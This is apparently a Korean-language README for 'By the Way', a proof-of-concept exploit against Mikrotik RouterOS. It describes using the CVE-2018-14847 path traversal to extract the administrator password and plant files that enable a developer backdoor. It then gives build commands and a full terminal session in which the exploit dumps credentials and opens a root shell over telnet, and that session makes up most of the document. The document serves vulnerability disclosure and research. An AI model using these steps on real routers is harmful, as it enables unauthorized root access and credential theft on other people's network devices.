
By the Way는 RouterOS 버전을 실행하는 Mikrotik 장치에서 루트 셸을 활성화하는 익스플로잇입니다:
By the Way는 RouterOS 버전을 실행하는 Mikrotik 장치에서 루트 셸을 활성화하는 익스플로잇입니다:
이 익스플로잇은 경로 탐색 취약점 CVE-2018-14847을 이용하여 관리자 비밀번호를 추출하고 "option" 패키지를 생성하여 개발자 백도어를 활성화합니다. 익스플로잇 후 공격자는 관리자의 비밀번호로 루트 사용자 "devel"을 사용하여 Telnet 또는 SSH에 연결할 수 있습니다.
Mikrotik은 지난 4월에 CVE-2018-14847을 패치했습니다. 그러나 이 PoC가 작성되기 전까지는 이 공격이 파일 쓰기에 사용될 수 있다는 것이 공개적으로 알려지지 않았다고 생각합니다. Mikrotik의 권고는 여기에서 찾을 수 있습니다:
이 익스플로잇은 Winbox용으로 작성되었지만, 관리자 자격 증명을 사전에 알고 있다면 HTTP로도 포팅될 수 있습니다.
이 PoC는 다음에 의존합니다:
mkdir build
cd build
cmake ..
make
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
Password:
Login failed, incorrect username or password
Connection closed by foreign host.
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ ./btw -i 192.168.1.251
╔╗ ┬ ┬ ┌┬┐┬ ┬┌─┐ ╦ ╦┌─┐┬ ┬
╠╩╗└┬┘ │ ├─┤├┤ ║║║├─┤└┬┘
╚═╝ ┴ ┴ ┴ ┴└─┘ ╚╩╝┴ ┴ ┴
[+] Extracting passwords from 192.168.1.251:8291
[+] Searching for administrator credentials
[+] Using credentials - admin:lol
[+] Creating /pckg/option on 192.168.1.251:8291
[+] Creating /flash/nova/etc/devel-login on 192.168.1.251:8291
[+] There's a light on
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
Password:
BusyBox v1.00 (2017.03.02-08:29+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
# uname -a
Linux MikroTik 3.3.5 #1 Thu Mar 2 08:16:25 UTC 2017 mips unknown
# cat /rw/logs/VERSION
v6.38.4 Mar/08/2017 09:26:17
# Connection closed by foreign host.